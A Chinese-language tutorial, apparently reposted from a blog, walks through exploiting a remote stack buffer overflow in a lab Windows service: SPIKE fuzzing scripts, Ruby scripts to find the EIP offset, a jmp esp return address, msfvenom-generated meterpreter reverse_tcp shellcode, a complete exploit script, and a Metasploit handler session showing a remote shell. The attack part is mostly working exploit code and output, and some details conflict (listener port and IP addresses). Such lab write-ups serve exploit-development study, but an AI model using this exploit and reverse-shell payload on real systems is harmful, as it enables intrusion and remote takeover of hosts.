遠程緩沖區溢出簡單分析


重制版,新版教程,包含ROP反導繞過DEP技術: https://www.cnblogs.com/LyShark/p/12340479.html

執行模糊測試

模糊測試(Fuzzing),是用於漏洞挖掘的探測工作,主要用於發現那些函數存在漏洞,通過向目標系統提供非預期的輸入並監視異常結果來發現軟件漏洞的方法,其原理主要是通過輸入大量數據,發現程序中存在的問題.可以通過使程序某些內容溢出出現異常,或者輸入的是程序規定的范圍內的數據結果出現異常,從而找出程序的bug.

盡管當今有許多模糊測試工具可以使用,但是在Kali Linux系統中默認集成了SPIKE,從技術上講SPIKE實際上是一個模糊器創建工具包,它提供了API允許用戶使用C語言基於網絡的協議來創建自己的fuzzer,該工具可以通過編寫腳本的方式進行測試任務,而無須自行編寫上百行的測試代碼.

創建測試腳本: 在測試之前,首先我們先來創建一個測試腳本,該腳本命名為lyshark.spk,腳本的內容如下.

root@kali:~# vim lyshark.spk

s_readline();              # 接收第一行的數據
s_string("stats |");       # 向目標發送字串開頭
s_string_variable("A");    # 發送的主體字符串

測試STATS函數: 我們使用generic_send_tcp進行測試,測試服務器程序中stats函數是否存在漏洞,其命令如下:

root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0

Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable 0:1203
^C
root@kali:~#

經過上面的測試后,發現服務器程序並沒有崩潰,只是出現了一些錯誤日志,則說明stats函數不存在遠程溢出漏洞,接着我們修改測試代碼,並繼續測試.

修改測試腳本: 我們接着打開lyshark.spk這個測試腳本,修改測試函數,這里改為trun即可.

root@kali:~# vim lyshark.spk

s_readline();              # 接收第一行的數據
s_string("trun |");        # 向目標發送字串開頭
s_string_variable("A");    # 發送的主體字符串

測試TRUN函數: 我們使用generic_send_tcp進行測試,測試服務器程序中trun函數是否存在漏洞,其命令如下:

root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0

Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable error
^C
root@kali:~#

經過上面的模糊測試,你會發現服務器端崩潰了,我們的服務器在應對二進制字符串時表現異常,其實這就是一個典型的遠程緩沖區溢出漏洞,之所以會崩潰的原因是因為緩沖區沒有進行合理的邊界檢測,從而超出了緩沖區的容量,惡意的字符串覆蓋了EIP指針,導致服務器不知道下一跳去哪里取指令,從而崩潰了.

控制EIP指針

在上面的模糊測試環節,我們已經清楚的知道路目標服務器的,trun函數存在遠程緩沖區溢出漏洞,接下來我們就來測試一下目標緩沖區的大小,這也是控制EIP指針的前提條件,現在我們需要具體的知道使用多少個字節才能夠不多不少的覆蓋掉程序中EIP寄存器,首先先來創建一個Ruby腳本,來完成遠程對緩沖區的填充,這里Ruby的代碼如下.

root@kali:~# vim lyshark.rb

require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)

command = "trun |"              # 指定要測試的函數
header = "/.:/"                 # 數據包發送固定寫法
buf = "A" * 2000                # 生成2000個A(猜測)
eip = "BBBB"                    # 暫且填充為BBBB
nops = "\x90" * 20              # 填充20個nop指令

sock.gets()                              # 獲取服務端返回的字符串
sock.puts( command+header+buf+eip+nops ) # 開始發送2000個A
sock.close

root@kali:~# ruby lyshark.rb

上面的代碼主要作用是,生成2000個A,在Kali上運行代碼后,發現服務器崩潰了,崩潰事件中還提供了具體的EIP地址,這說明腳本正常工作了.

接下來我們在服務器上,使用x64dbg調試器附加到MyServer.exe這個服務程序的進程上,並在調試器附加的基礎上,再次執行lyshark.rb這個腳本.

當腳本運行后,不出所料程序再次崩潰,這里我們主要關心崩潰后的堆棧情況,下圖可發現EIP指針為90904242,也就是說當前EIP一半在nop雪橇上另一半在AA上,由此我們可以猜測此時我們填充少了.

通過上面的EIP覆蓋情況,發現填充物少填充了2個字符,接着我們修改攻擊腳本,將填充物改大一些,這次我們改成2002,也就是說向遠程堆棧內填充2002個A,重新運行服務器上的服務,並再次運行攻擊腳本.

require 'socket'
host = '192.168.1.10'
port = 9999

sock = TCPSocket.open(host, port)

command = "trun |"              # 指定要測試的函數
header = "/.:/"                 # 數據包發送固定寫法
buf = "A" * 2002                # 生成2002個A
eip = "BBBB"                    # 方便區分
nops = "\x90" * 50

sock.gets()
sock.puts( command+header+buf+eip+nops ) # 發送2002個A
sock.close

root@kali:~# ruby lyshark.rb

當攻擊腳本運行后,我們查看一下EIP指針的位置,你會發現此時的EIP地址已經指向了42424242,也就是我們腳本中填充的eip = "BBBB",由此可得出填充物的大小剛好為2002個A,在下圖的堆棧區域中,也可以清晰地看到我們填充的AAAAnop雪橇的分界線.


### 構建漏洞攻擊過程

在上面的環節中我們已經確定了填充物的大小,但細心的你會發現程序每次運行其棧地址都是隨機變化的,在Windows漏洞利用過程中,由於動態鏈接庫的裝入和卸載等原因,Windows進程的函數棧幀可能產生移位,即ShellCode在內存中的地址是動態變化的,因此需要Exploit(漏洞利用代碼)在運行時動態定位棧中的ShellCode地址.

我們第一步就是尋找一個跳板,能夠動態的定位棧地址的位置,在這里我們使用jmp esp作為跳板指針,其基本思路就是,使用內存中任意一個jmp esp的地址覆蓋返回地址,函數返回后被重定向去執行內存中jmp esp指令,而esp寄存器的地址正好是我們布置好的nop雪橇的位置,此時EIP指針就會順着nop雪橇滑向我們構建好的惡意代碼,從而觸發我們預先布置好的ShellCode代碼.

選擇模塊: 首先通過x64dbg調試器附加服務程序,然后選擇符號菜單,這里我找到了kernelbase.dll這個外部模塊,模塊的選擇是隨機的,只要模塊內部存在jmp esp指令就可以利用.

搜索跳板: 接着搜索該模塊中的jmp esp指令,因為這個指令地址是固定的,我們就將EIP指針跳轉到這里,又因esp寄存器存儲着當前的棧地址,所以剛好跳轉到我們布置好的nop雪橇的位置上.

x64dbg調試器的反匯編界面中,按下ctrl + f 搜索,並記錄下這個搜尋到的地址0x77433f73,其實這里隨便一個只要是jmp esp 指令的都可以,我們將其作為EIP的跳轉地址.

生成漏洞利用代碼

當然可以從零開始構建漏洞攻擊所使用的ShellCode但這需要你具備匯編的編程能力,不過慶幸的是Metaspoloit在這方面可以為我們做很多,我們可以通過MSF提供的msfvenom命令快速的生成一個有效載荷.

root@kali:~# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.2 LPORT=9999 -f ruby

Found 11 compatible encoders
Payload size: 368 bytes
Final size of ruby file: 1612 bytes
buf =
"\xba\x94\x23\x08\x8e\xdb\xd1\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x03\x56\x13\x83\xee\x68\xc1\xfd\x72" +
"\x78\x84\xfe\x8a\x78\xe9\x77\x6f\x49\x29\xe3\xfb\xf9\x99" +

最后在msf控制主機,啟動一個偵聽器,等待我們的攻擊腳本運行。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf5 exploit(multi/handler) > set lport 9999
lport => 8888
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.10:9999

經過上面的步驟我們已經構建出了漏洞利用代碼,此時我們運行構建好的攻擊代碼。

require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)

command = "trun |"       #數據包包頭寫法
header = "/.:/"          #數據包發送固定寫法

buf = "A" * 2002         #2002個字節剛好填充滿
eip = "\x73\x3f\x43\x77" #EIP=77433F73  將該地址反寫
nops = "\x90" * 20       #此處是nop雪橇填充的20個字節

shellcode =
"\xd9\xf7\xd9\x74\x24\xf4\x5a\xbb\xc8\xbb\x47\x96\x29\xc9" +
"\xb1\x56\x31\x5a\x18\x83\xc2\x04\x03\x5a\xdc\x59\xb2\x6a" +
"\x34\x1f\x3d\x93\xc4\x40\xb7\x76\xf5\x40\xa3\xf3\xa5\x70" +
"\xa7\x56\x49\xfa\xe5\x42\xda\x8e\x21\x64\x6b\x24\x14\x4b" +
"\x6c\x15\x64\xca\xee\x64\xb9\x2c\xcf\xa6\xcc\x2d\x08\xda" +
"\x3d\x7f\xc1\x90\x90\x90\x66\xec\x28\x1a\x34\xe0\x28\xff" +
"\x8c\x03\x18\xae\x87\x5d\xba\x50\x44\xd6\xf3\x4a\x89\xd3" +
"\x4a\xe0\x79\xaf\x4c\x20\xb0\x50\xe2\x0d\x7d\xa3\xfa\x4a" +
"\xb9\x5c\x89\xa2\xba\xe1\x8a\x70\xc1\x3d\x1e\x63\x61\xb5" +
"\xb8\x4f\x90\x1a\x5e\x1b\x9e\xd7\x14\x43\x82\xe6\xf9\xff" +
"\xbe\x63\xfc\x2f\x37\x37\xdb\xeb\x1c\xe3\x42\xad\xf8\x42" +
"\x7a\xad\xa3\x3b\xde\xa5\x49\x2f\x53\xe4\x05\x9c\x5e\x17" +
"\x71\xe3\xf6\xf7"

sock.gets()
sock.puts( command+header+buf+eip+nops+shellcode )
sock.close

查看攻擊主機,即可看到一個反向連接shell,此時我們可以遠程執行任意命令。

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.10:9999
[*] Sending stage (179779 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.10:9999 -> 192.168.1.2:9900) at 2019-03-27

meterpreter > sysinfo
Computer        : web-server
OS              : Windows Server2008.
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM